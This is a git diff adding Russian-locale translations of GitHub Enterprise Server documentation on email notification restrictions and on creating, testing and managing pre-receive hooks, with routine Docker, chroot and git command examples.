b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md new file mode 100644 index 000000000000..62399d6cfc19 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md @@ -0,0 +1,45 @@ +--- +title: Ограничение уведомлений по электронной почте для организации +intro: 'Можно предотвратить утечку сведений о предприятии в личные учетные записи электронной почты благодаря ограничению доменов, в которых участники получают уведомления по электронной почте о действиях в организациях, входящих в состав вашего предприятия.' +product: '{% data reusables.gated-features.restrict-email-domain %}' +versions: + ghec: '*' + ghes: '*' +permissions: Enterprise owners can restrict email notifications for an enterprise. +type: how_to +topics: + - Enterprise + - Notifications + - Organizations + - Policies +redirect_from: + - /admin/policies/restricting-email-notifications-for-your-enterprise + - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account-to-approved-domains + - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/restricting-email-notifications-for-your-enterprise-account +shortTitle: Restrict email notifications +ms.openlocfilehash: f5ef3b4ffd3db266e96d4f7fc90f43cbd226034f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066500' +--- +## Сведения об ограничениях электронной почты для организации + +При ограничении уведомлений по электронной почте для получения уведомлений об активности в организациях, принадлежащих вашему предприятию, члены организации могут использовать только адрес электронной почты, который зарегистрирован в проверенном или утвержденном домене. + +{% data reusables.enterprise-accounts.approved-domains-beta-note %} + +Домены можно наследовать от предприятия или настроить для конкретной организации. Дополнительные сведения см. в разделах [Проверка или утверждение домена для вашего предприятия](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise) и [Ограничение уведомлений по электронной почте для организации](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization). + +{% data reusables.notifications.email-restrictions-verification %} + +Если для предприятия включены ограничения электронной почты, владельцы организации не могут отключить ограничения электронной почты для любой организации, принадлежащей предприятию. В случае изменений, в результате которых организация не имеет проверенных или утвержденных доменов, унаследованных от предприятия, которому принадлежит организация, или для конкретной организации, ограничения электронной почты для такой организации будут отключены. + +## Ограничение уведомлений по электронной почте для организации + +Прежде чем ограничить уведомления по электронной почте для вашего предприятия, необходимо проверить или утвердить по крайней мере один домен для предприятия. {% ifversion ghec %} Дополнительные сведения см. в разделе [Проверка или утверждение домена для вашего предприятия](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise).{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %} {% data reusables.organizations.restrict-email-notifications %} +1. Выберите команду **Сохранить**. diff --git a/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md new file mode 100644 index 000000000000..d72c609a0d66 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md @@ -0,0 +1,31 @@ +--- +title: About pre-receive hooks +intro: '*Pre-receive hooks* are scripts that run on the {% data variables.product.prodname_ghe_server %} appliance that you can use to implement quality checks.' +redirect_from: + - /enterprise/admin/developer-workflow/about-pre-receive-hooks + - /enterprise/admin/policies/about-pre-receive-hooks + - /admin/policies/about-pre-receive-hooks +versions: + ghes: '*' +type: overview +topics: + - Enterprise + - Policies + - Pre-receive hooks +--- +When a push occurs, each script runs in an isolated environment and can perform checks on the content of the push. The scripts will cause the push to be accepted if the exit status is 0, or rejected if the exit status is non-zero. + +## Usage scenarios +Use pre-receive hooks to satisfy business rules, enforce regulatory compliance, and prevent certain common mistakes. + +Examples of how you can use pre-receive hooks: + +- Require commit messages to follow a specific pattern or format, such as including a valid ticket number or being over a certain length. +- Lock a branch or repository by rejecting all pushes. +- Prevent sensitive data from being added to the repository by blocking keywords, patterns or file types. +- Prevent a PR author from merging their own changes. + +## Impact on performance and workflows +Impact to developers and their workflows can be significant and must be considered carefully. Pre-receive hooks that are based on business needs and implemented thoughtfully will provide the most benefit to the organization as a whole. + +Pre-receive hooks can have unintended effects on the performance of {% data variables.location.product_location %} and should be carefully implemented and reviewed. diff --git a/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md new file mode 100644 index 000000000000..9360384cede2 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md @@ -0,0 +1,107 @@ +--- +title: Создание среды обработчика предварительного получения +intro: 'Чтобы выполнить перехватчики предварительного получения, используйте среду предварительного получения по умолчанию или создайте настраиваемую среду.' +redirect_from: + - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-environment + - /enterprise/admin/policies/creating-a-pre-receive-hook-environment + - /admin/policies/creating-a-pre-receive-hook-environment +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Policies + - Pre-receive hooks +shortTitle: Pre-receive hook environments +ms.openlocfilehash: 2c2a31a4092b475170449ba138d6f0798424206b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145116368' +--- +Среда предварительного получения для {% data variables.product.prodname_ghe_server %} — это среда Linux [`chroot`](https://en.wikipedia.org/wiki/Chroot). Так как перехватчики предварительного получения выполняются при каждом событии отправки, они должны быть быстрыми и легкими. Среда, необходимая для таких проверок, обычно будет минимальной. + +{% data variables.product.prodname_ghe_server %} предоставляет среду по умолчанию, которая включает следующие пакеты: `awk`, `bash`, `coreutils`, `curl`, `find`, `gnupg`, `grep`, `jq`, `sed`. + +Если у вас есть определенное требование, которое не удовлетворяется данной средой, например поддержка определенного языка, вы можете создать и отправить собственную 64-разрядную среду Linux `chroot`. + +## Создание среды обработчика предварительного получения с помощью Docker + +Для создания среды обработчика предварительного получения можно использовать средство управления контейнерами Linux. В этом примере используется [Alpine Linux](http://www.alpinelinux.org/) и [Docker](https://www.docker.com/). + +{% data reusables.linux.ensure-docker %} +2. Создайте файл `Dockerfile.alpine-3.3`, содержащий следующие сведения: + + ``` + FROM gliderlabs/alpine:3.3 + RUN apk add --no-cache git bash + ``` +3. Из рабочего каталога, содержащего `Dockerfile.alpine-3.3`, создайте образ: + + ```shell + $ docker build -f Dockerfile.alpine-3.3 -t pre-receive.alpine-3.3 . + > Sending build context to Docker daemon 12.29 kB + > Step 1 : FROM gliderlabs/alpine:3.3 + > ---> 8944964f99f4 + > Step 2 : RUN apk add --no-cache git bash + > ---> Using cache + > ---> 0250ab3be9c5 + > Successfully built 0250ab3be9c5 + ``` +4. Создание контейнера: + + ```shell + $ docker create --name pre-receive.alpine-3.3 pre-receive.alpine-3.3 /bin/true + ``` +5. Экспортируйте контейнер Docker в сжатый файл `gzip``tar`: + + ```shell + $ docker export pre-receive.alpine-3.3 | gzip > alpine-3.3.tar.gz + ``` + + Этот файл `alpine-3.3.tar.gz` готов к отправке на устройство {% data variables.product.prodname_ghe_server %}. + +## Создание среды обработчика предварительного получения с помощью chroot + +1. Создайте среду Linux `chroot`. +2. Создайте сжатый файл `gzip``tar` каталога `chroot`. + ```shell + $ cd /path/to/chroot + $ tar -czf /path/to/pre-receive-environment.tar.gz . + ``` + + {% note %} + + **Примечания.** + - Не включайте ведущие пути к каталогам файлов в архив tar, например `/path/to/chroot`. + - `/bin/sh` должен существовать и быть исполняемым как точка входа в среду chroot. + - В отличие от традиционных chroot, каталог `dev` не требуется средой chroot для перехватчиков предварительного получения. + + {% endnote %} + +Дополнительные сведения о создании среды chroot см. в разделе [Chroot](https://wiki.debian.org/chroot) на *вики-сайте Debian*, [BasicChroot](https://help.ubuntu.com/community/BasicChroot) *на справочном вики-сайте сообщества Ubuntu* или [Установка Alpine Linux в chroot](http://wiki.alpinelinux.org/wiki/Installing_Alpine_Linux_in_a_chroot) на *вики-сайте Alpine Linux*. + +## Отправка среды обработчика предварительного получения на {% data variables.product.prodname_ghe_server %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.hooks-tab %} +5. Щелкните **Управление средами**. +![Управление средами](/assets/images/enterprise/site-admin-settings/manage-pre-receive-environments.png) +6. Щелкните **Добавить среду**. +![Добавить среду](/assets/images/enterprise/site-admin-settings/add-pre-receive-environment.png) +7. Введите нужное имя в поле **Имя среды**. +![Имя среды](/assets/images/enterprise/site-admin-settings/pre-receive-environment-name.png) +8. Введите URL-адрес файла `*.tar.gz`, содержащего среду. +![Отправка среды из URL-адреса](/assets/images/enterprise/site-admin-settings/upload-environment-from-url.png) +9. Щелкните **Добавить среду**. +![Кнопка "Добавить среду"](/assets/images/enterprise/site-admin-settings/add-environment-button.png) + +## Отправка среды перехватчика предварительного получения с помощью административной оболочки +1. Отправьте доступный для чтения файл `*.tar.gz`, содержащий среду, на веб-узел и скопируйте URL-адрес или перенесите файл на устройство {% data variables.product.prodname_ghe_server %} через `scp`. При использовании `scp` может потребоваться настроить разрешения файла `*.tar.gz` таким образом, чтобы файл был доступен для чтения. +1. Подключение к административной оболочке. +2. Используйте команду `ghe-hook-env-create` и введите имя среды в качестве первого аргумента, а также полный локальный путь или URL-адрес файла `*.tar.gz`, содержащего среду, в качестве второго аргумента. + + ```shell + admin@ghe-host:~$ ghe-hook-env-create AlpineTestEnv /home/admin/alpine-3.3.tar.gz + > Pre-receive hook environment 'AlpineTestEnv' (2) has been created. + ``` diff --git a/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md new file mode 100644 index 000000000000..90a486650333 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md @@ -0,0 +1,262 @@ +--- +title: Creating a pre-receive hook script +intro: Use pre-receive hook scripts to create requirements for accepting or rejecting a push based on the contents. +miniTocMaxHeadingLevel: 3 +redirect_from: + - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-script + - /enterprise/admin/policies/creating-a-pre-receive-hook-script + - /admin/policies/creating-a-pre-receive-hook-script +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Policies + - Pre-receive hooks +shortTitle: Pre-receive hook scripts +--- +You can see examples of pre-receive hooks for {% data variables.product.prodname_ghe_server %} in the [`github/platform-samples` repository](https://github.com/github/platform-samples/tree/master/pre-receive-hooks). + +## Writing a pre-receive hook script +A pre-receive hook script executes in a pre-receive hook environment on {% data variables.location.product_location %}. When you create a pre-receive hook script, consider the available input, output, exit status, and environment variables. + +### Input (`stdin`) +After a push occurs and before any refs are updated for the remote repository, the `git-receive-pack` process on {% data variables.location.product_location %} invokes the pre-receive hook script. Standard input for the script, `stdin`, is a string containing a line for each ref to update. Each line contains the old object name for the ref, the new object name for the ref, and the full name of the ref. + +``` + SP SP LF +``` + +This string represents the following arguments. + +| Argument | Description | +| :------------- | :------------- | +| `` | Old object name stored in the ref.
When you create a new ref, the value is 40 zeroes. | +| `` | New object name to be stored in the ref.
When you delete a ref, the value is 40 zeroes. | +| `` | The full name of the ref. | + +For more information about `git-receive-pack`, see "[git-receive-pack](https://git-scm.com/docs/git-receive-pack)" in the Git documentation. For more information about refs, see "[Git References](https://git-scm.com/book/en/v2/Git-Internals-Git-References)" in *Pro Git*. + +### Output (`stdout`) + +The standard output for the script, `stdout`, is passed back to the client. Any `echo` statements will be visible to the user on the command line or in the user interface. + +### Exit status + +The exit status of a pre-receive script determines if the push will be accepted. + +| Exit-status value | Action | +| :- | :- | +| 0 | The push will be accepted. | +| non-zero | The push will be rejected. | + +### Environment variables + +In addition to the standard input for your pre-receive hook script, `stdin`, {% data variables.product.prodname_ghe_server %} makes the following variables available in the Bash environment for your script's execution. For more information about `stdin` for your pre-receive hook script, see "[Input (`stdin`)](#input-stdin)." + +Different environment variables are available to your pre-receive hook script depending on what triggers the script to run. + +- [Always available](#always-available) +- [Available for pushes from the web interface or API](#available-for-pushes-from-the-web-interface-or-api) +- [Available for pull request merges](#available-for-pull-request-merges) +- [Available for pushes using SSH authentication](#available-for-pushes-using-ssh-authentication) + +#### Always available + +The following variables are always available in the pre-receive hook environment. + +| Variable | Description | Example value | +| :- | :- | :- | +|
$GIT_DIR
| Path to the remote repository on the instance | /data/user/repositories/a/ab/
a1/b2/34/100001234/1234.git | +|
$GIT_PUSH_OPTION_COUNT
| The number of push options that were sent by the client with `--push-option`. For more information, see "[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)" in the Git documentation. | 1 | +|
$GIT\_PUSH\_OPTION\_N
| Where _N_ is an integer starting at 0, this variable contains the push option string that was sent by the client. The first option that was sent is stored in `GIT_PUSH_OPTION_0`, the second option that was sent is stored in `GIT_PUSH_OPTION_1`, and so on. For more information about push options, see "[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)" in the Git documentation. | abcd |{% ifversion ghes %} +|
$GIT_USER_AGENT
| User-agent string sent by the Git client that pushed the changes | git/2.0.0{% endif %} +|
$GITHUB_REPO_NAME
| Name of the repository being updated in _NAME_/_OWNER_ format | octo-org/hello-enterprise | +|
$GITHUB_REPO_PUBLIC
| Boolean representing whether the repository being updated is public |
  • true: Repository's visibility is public
  • false: Repository's visibility is private or internal
+|
$GITHUB_USER_IP
| IP address of client that initiated the push | 192.0.2.1 | +|
$GITHUB_USER_LOGIN
| Username for account that initiated the push | octocat | + +#### Available for pushes from the web interface or API + +The `$GITHUB_VIA` variable is available in the pre-receive hook environment when the ref update that triggers the hook occurs via either the web interface or the API for {% data variables.product.prodname_ghe_server %}. The value describes the action that updated the ref. + +| Value | Action | More information | +| :- | :- | :- | +|
auto-merge deployment api
| Automatic merge of the base branch via a deployment created with the API | "[Create a deployment](/rest/reference/deployments#create-a-deployment)" in the REST API documentation | +|
blob#save
| Change to a file's contents in the web interface | "[Editing files](/repositories/working-with-files/managing-files/editing-files)" | +|
branch merge api
| Merge of a branch via the API | "[Merge a branch](/rest/reference/branches#merge-a-branch)" in the REST API documentation | +|
branches page delete button
| Deletion of a branch in the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" | +|
git refs create api
| Creation of a ref via the API | "[Git database](/rest/reference/git#create-a-reference)" in the REST API documentation | +|
git refs delete api
| Deletion of a ref via the API | "[Git database](/rest/reference/git#delete-a-reference)" in the REST API documentation | +|
git refs update api
| Update of a ref via the API | "[Git database](/rest/reference/git#update-a-reference)" in the REST API documentation | +|
git repo contents api
| Change to a file's contents via the API | "[Create or update file contents](/rest/reference/repos#create-or-update-file-contents)" in the REST API documentation | +{%- ifversion ghes %} +| `merge ` | Merge of a pull request using auto-merge | "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)" | +{%- endif %} +|
merge base into head
| Update of the topic branch from the base branch when the base branch requires strict status checks (via **Update branch** in a pull request, for example) | "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" | +|
pull request branch delete button
| Deletion of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" | +|
pull request branch undo button
| Restoration of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)" | +|
pull request merge api
| Merge of a pull request via the API | "[Pulls](/rest/reference/pulls#merge-a-pull-request)" in the REST API documentation | +|
pull request merge button
| Merge of a pull request in the web interface | "[Merging a pull request](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github)" | +|
pull request revert button
| Revert of a pull request | "[Reverting a pull request](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request)" | +|
releases delete button
| Deletion of a release | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)" | +|
stafftools branch restore
| Restoration of a branch from the site admin dashboard | "[Site admin dashboard](/admin/configuration/site-admin-dashboard#repositories)" | +|
tag create api
| Creation of a tag via the API | "[Git database](/rest/reference/git#create-a-tag-object)" in the REST API documentation | +|
slumlord (#SHA)
| Commit via Subversion | "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)" | +|
web branch create
| Creation of a branch via the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)" | + +#### Available for pull request merges + +The following variables are available in the pre-receive hook environment when the push that triggers the hook is a push due to the merge of a pull request. + +| Variable | Description | Example value | +| :- | :- | :- | +|
$GITHUB_PULL_REQUEST_AUTHOR_LOGIN
| Username of account that authored the pull request | octocat | +|
$GITHUB_PULL_REQUEST_HEAD
| The name of the pull request's topic branch, in the format `USERNAME:BRANCH` | octocat:fix-bug | +|
$GITHUB_PULL_REQUEST_BASE
| The name of the pull request's base branch, in the format `USERNAME:BRANCH` | octocat:main | + +#### Available for pushes using SSH authentication + +| Variable | Description | Example value | +| :- | :- | :- | +|
$GITHUB_PUBLIC_KEY_FINGERPRINT
| The public key fingerprint for the user who pushed the changes | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 | + +## Setting permissions and pushing a pre-receive hook to {% data variables.product.prodname_ghe_server %} + +A pre-receive hook script is contained in a repository on {% data variables.location.product_location %}. A site administrator must take into consideration the repository permissions and ensure that only the appropriate users have access. + +We recommend consolidating hooks to a single repository. If the consolidated hook repository is public, the `README.md` can be used to explain policy enforcements. Also, contributions can be accepted via pull requests. However, pre-receive hooks can only be added from the default branch. For a testing workflow, forks of the repository with configuration should be used. + +1. For Mac users, ensure the scripts have execute permissions: + + ```shell + $ sudo chmod +x SCRIPT_FILE.sh + ``` + For Windows users, ensure the scripts have execute permissions: + + ```shell + git update-index --chmod=+x SCRIPT_FILE.sh + ``` + +2. Commit and push to the designated repository for pre-receive hooks on {% data variables.location.product_location %}. + + ```shell + $ git commit -m "YOUR COMMIT MESSAGE" + $ git push + ``` + +3. [Create the pre-receive hook](/enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance/#creating-pre-receive-hooks) on the {% data variables.product.prodname_ghe_server %} instance. + +## Testing pre-receive scripts locally +You can test a pre-receive hook script locally before you create or update it on {% data variables.location.product_location %}. One method is to create a local Docker environment to act as a remote repository that can execute the pre-receive hook. + +{% data reusables.linux.ensure-docker %} + +2. Create a file called `Dockerfile.dev` containing: + + ```dockerfile + FROM gliderlabs/alpine:3.3 + RUN \ + apk add --no-cache git openssh bash && \ + ssh-keygen -A && \ + sed -i "s/#AuthorizedKeysFile/AuthorizedKeysFile/g" /etc/ssh/sshd_config && \ + adduser git -D -G root -h /home/git -s /bin/bash && \ + passwd -d git && \ + su git -c "mkdir /home/git/.ssh && \ + ssh-keygen -t ed25519 -f /home/git/.ssh/id_ed25519 -P '' && \ + mv /home/git/.ssh/id_ed25519.pub /home/git/.ssh/authorized_keys && \ + mkdir /home/git/test.git && \ + git --bare init /home/git/test.git" + + VOLUME ["/home/git/.ssh", "/home/git/test.git/hooks"] + WORKDIR /home/git + + CMD ["/usr/sbin/sshd", "-D"] + ``` + +3. Create a test pre-receive script called `always_reject.sh`. This example script will reject all pushes, which is useful for locking a repository: + + ``` + #!/usr/bin/env bash + + echo "error: rejecting all pushes" + exit 1 + ``` + +4. Ensure the `always_reject.sh` scripts has execute permissions: + + ```shell + $ chmod +x always_reject.sh + ``` + +5. From the directory containing `Dockerfile.dev`, build an image: + + ```shell + $ docker build -f Dockerfile.dev -t pre-receive.dev . + > Sending build context to Docker daemon 3.584 kB + > Step 1 : FROM gliderlabs/alpine:3.3 + > ---> 8944964f99f4 + > Step 2 : RUN apk add --no-cache git openssh bash && ssh-keygen -A && sed -i "s/#AuthorizedKeysFile/AuthorizedKeysFile/g" /etc/ssh/sshd_config && adduser git -D -G root -h /home/git -s /bin/bash && passwd -d git && su git -c "mkdir /home/git/.ssh && ssh-keygen -t ed25519 -f /home/git/.ssh/id_ed25519 -P ' && mv /home/git/.ssh/id_ed25519.pub /home/git/.ssh/authorized_keys && mkdir /home/git/test.git && git --bare init /home/git/test.git" + > ---> Running in e9d79ab3b92c + > fetch http://alpine.gliderlabs.com/alpine/v3.3/main/x86_64/APKINDEX.tar.gz + > fetch http://alpine.gliderlabs.com/alpine/v3.3/community/x86_64/APKINDEX.tar.gz + ....truncated output.... + > OK: 34 MiB in 26 packages + > ssh-keygen: generating new host keys: RSA DSA ECDSA ED25519 + > Password for git changed by root + > Generating public/private ed25519 key pair. + > Your identification has been saved in /home/git/.ssh/id_ed25519. + > Your public key has been saved in /home/git/.ssh/id_ed25519.pub. + ....truncated output.... + > Initialized empty Git repository in /home/git/test.git/ + > Successfully built dd8610c24f82 + ``` + +6. Run a data container that contains a generated SSH key: + + ```shell + $ docker run --name data pre-receive.dev /bin/true + ``` + +7. Copy the test pre-receive hook `always_reject.sh` into the data container: + + ```shell + $ docker cp always_reject.sh data:/home/git/test.git/hooks/pre-receive + ``` + +8. Run an application container that runs `sshd` and executes the hook. Take note of the container id that is returned: + + ```shell + $ docker run -d -p 52311:22 --volumes-from data pre-receive.dev + > 7f888bc700b8d23405dbcaf039e6c71d486793cad7d8ae4dd184f4a47000bc58 + ``` + +9. Copy the generated SSH key from the data container to the local machine: + + ```shell + $ docker cp data:/home/git/.ssh/id_ed25519 . + ``` + +10. Modify the remote of a test repository and push to the `test.git` repo within the Docker container. This example uses `git@github.com:octocat/Hello-World.git` but you can use any repository you want. This example assumes your local machine (127.0.0.1) is binding port 52311, but you can use a different IP address if docker is running on a remote machine. + + ```shell + $ git clone git@github.com:octocat/Hello-World.git + $ cd Hello-World + $ git remote add test git@127.0.0.1:test.git + $ GIT_SSH_COMMAND="ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p 52311 -i ../id_ed25519" git push -u test main + > Warning: Permanently added '[192.168.99.100]:52311' (ECDSA) to the list of known hosts. + > Counting objects: 7, done. + > Delta compression using up to 4 threads. + > Compressing objects: 100% (3/3), done. + > Writing objects: 100% (7/7), 700 bytes | 0 bytes/s, done. + > Total 7 (delta 0), reused 7 (delta 0) + > remote: error: rejecting all pushes + > To git@192.168.99.100:test.git + > ! [remote rejected] main -> main (pre-receive hook declined) + > error: failed to push some refs to 'git@192.168.99.100:test.git' + ``` + + Notice that the push was rejected after executing the pre-receive hook and echoing the output from the script. + +## Further reading + - "[Customizing Git - An Example Git-Enforced Policy](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)" from the *Pro Git website* diff --git a/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/index.md b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/index.md new file mode 100644 index 000000000000..f4ea9b72ec47 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/index.md @@ -0,0 +1,24 @@ +--- +title: Применение политики с помощью перехватчиков предварительного получения +intro: 'Используйте обработчики предварительного получения для принудительного применения стандартов рабочего процесса в организации. Обработчики предварительного получения требуют, чтобы код передавал предопределенный набор проверок качества, прежде чем переданные данные будут приняты в репозитории.' +redirect_from: + - /enterprise/admin/developer-workflow/using-pre-receive-hooks-to-enforce-policy + - /enterprise/admin/policies/enforcing-policy-with-pre-receive-hooks +versions: + ghes: '*' +topics: + - Enterprise +children: + - /about-pre-receive-hooks + - /creating-a-pre-receive-hook-environment + - /creating-a-pre-receive-hook-script + - /managing-pre-receive-hooks-on-the-github-enterprise-server-appliance +shortTitle: Policy with pre-receive hooks +ms.openlocfilehash: 3958e0a9d67793c4cadcb6898ce6049eccbd43af +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145116363' +--- + diff --git a/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md new file mode 100644 index 000000000000..1a2e868839c8 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md @@ -0,0 +1,76 @@ +--- +title: Managing pre-receive hooks on the GitHub Enterprise Server appliance +intro: 'Configure how people will use pre-receive hooks within their {% data variables.product.prodname_ghe_server %} appliance.' +redirect_from: + - /enterprise/admin/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance + - /enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-appliance + - /enterprise/admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance + - /admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Policies + - Pre-receive hooks +shortTitle: Manage pre-receive hooks +--- +## Creating pre-receive hooks + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.hooks-tab %} +4. Click **Add pre-receive hook**. +![Add pre-receive hook](/assets/images/enterprise/site-admin-settings/add-pre-receive-hook.png) +5. In the **Hook name** field, enter the name of the hook that you want to create. +![Name pre-receive hook](/assets/images/enterprise/site-admin-settings/hook-name.png) +6. From the **Environment** drop-down menu, select the environment on which you want the hook to run. +![Hook environment](/assets/images/enterprise/site-admin-settings/environment.png) +7. Under **Script**, from the **Select hook repository** drop-down menu, select the repository that contains your pre-receive hook script. From the **Select file** drop-down menu, select the filename of the pre-receive hook script. +![Hook script](/assets/images/enterprise/site-admin-settings/hook-script.png) +8. Select **Use the exit-status to accept or reject pushes** to enforce your script. Unselecting this option allows you to test the script while the exit-status value is ignored. In this mode, the output of the script will be visible to the user in the command-line but not on the web interface. +![Use exit-status](/assets/images/enterprise/site-admin-settings/use-exit-status.png) +9. Select **Enable this pre-receive hook on all repositories by default** if you want the pre-receive hook to run on all repositories. +![Enable hook all repositories](/assets/images/enterprise/site-admin-settings/enable-hook-all-repos.png) +10. Select **Administrators can enable and disable this hook** to allow organization members with admin or owner permissions to select whether they wish to enable or disable this pre-receive hook. +![Admins enable or disable hook](/assets/images/enterprise/site-admin-settings/admins-enable-hook.png) + +## Editing pre-receive hooks + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.hooks-tab %} +1. Next to the pre-receive hook that you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}. +![Edit pre-receive](/assets/images/enterprise/site-admin-settings/edit-pre-receive-hook.png) + +## Deleting pre-receive hooks + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.hooks-tab %} +2. Next to the pre-receive hook that you want to delete, click {% octicon "x" aria-label="X symbol" %}. +![Edit pre-receive](/assets/images/enterprise/site-admin-settings/delete-pre-receive-hook.png) + +## Configure pre-receive hooks for an organization + +An organization administrator can only configure hook permissions for an organization if the site administrator selected the **Administrators can enable or disable this hook** option when they created the pre-receive hook. To configure pre-receive hooks for a repository, you must be an organization administrator or owner. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +4. In the left sidebar, click **Hooks**. +![Hooks sidebar](/assets/images/enterprise/orgs-and-teams/hooks-sidebar.png) +5. Next to the pre-receive hook that you want to configure, click the **Hook permissions** drop-down menu. Select whether to enable or disable the pre-receive hook, or allow it to be configured by the repository administrators. +![Hook permissions](/assets/images/enterprise/orgs-and-teams/hook-permissions.png) + +## Configure pre-receive hooks for a repository + +A repository owner can only configure a hook if the site administrator selected the **Administrators can enable or disable this hook** option when they created the pre-receive hook. In an organization, the organization owner must also have selected the **Configurable** hook permission. To configure pre-receive hooks for a repository, you must be a repository owner. + +{% data reusables.profile.enterprise_access_profile %} +2. Click **Repositories** and select which repository you want to configure pre-receive hooks for. +![Repositories](/assets/images/enterprise/repos/repositories.png) +{% data reusables.repositories.sidebar-settings %} +4. In the left sidebar, click **Hooks & Services**. +![Hooks and services](/assets/images/enterprise/repos/hooks-services.png) +5. Next to the pre-receive hook that you want to configure, click the **Hook permissions** drop-down menu. Select whether to enable or disable the pre-receive hook. +![Repository hook permissions](/assets/images/enterprise/repos/repo-hook-permissions.png) diff --git a/translations/ru-RU/content/admin/policies/index.md b/translations/ru-RU/content/admin/policies/index.md new file mode 100644 index 000000000000..917aa7184858 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/index.md @@ -0,0 +1,24 @@ +--- +title: Настройка политик для предприятия +intro: 'Политики можно задать в {% data variables.product.product_name %}, чтобы снизить риски и повысить качество.' 